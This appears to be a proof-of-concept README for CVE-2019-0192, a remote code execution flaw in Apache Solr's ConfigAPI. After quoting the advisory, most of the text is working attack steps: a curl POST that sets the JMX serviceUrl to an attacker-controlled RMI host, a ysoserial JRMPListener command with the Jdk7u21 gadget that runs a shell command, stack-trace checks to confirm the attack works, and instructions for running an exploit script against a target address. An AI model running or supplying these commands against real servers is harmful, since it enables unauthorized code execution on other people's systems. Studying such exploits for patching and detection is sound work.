CVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5

This is an early PoC of the Apache Solr RCE

From https://issues.apache.org/jira/browse/SOLR-13301:

ConfigAPI allows to configure Solr's JMX server via an HTTP POST request. By pointing it to a malicious RMI server, an attacker could take advantage of Solr's unsafe deserialization to trigger remote code execution on the Solr side.

Proof Of Concept

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By looking on the description of the security advisory and checking on the ConfigAPI ressources of Apache Solr, we can find a reference to a JMX server:

serviceUrl - (optional str) service URL for a JMX server. If not specified then the default platform MBean server will be used.

By checking how ConfigAPI is working we can reproduce how to set a remote JMX server:

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

For the PoC I will use yoserial to create a malicious RMI server using the payload Jdk7u21

1. Start the malicous RMI server:

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"

2. Run the POST request:

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

note: you should get a 500 error with a nice stacktrace

3. Check the stacktrace:

• If you saw this error: "Non-annotation type in annotation serial stream" it's mean that Apache Solr is running with a java version > JRE 7u25 and this poc will not work

• Otherwise you sould see this error: "undeclared checked exception; nested exception is" and the PoC should work.

Exploit

1. Download yoserial : https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2. Change values into the script:

remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"

3. Then execute the script:

python3 CVE-2019-0192.py

Security Advisory:

• http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

Ressources:

• https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
• https://issues.apache.org/jira/browse/SOLR-13301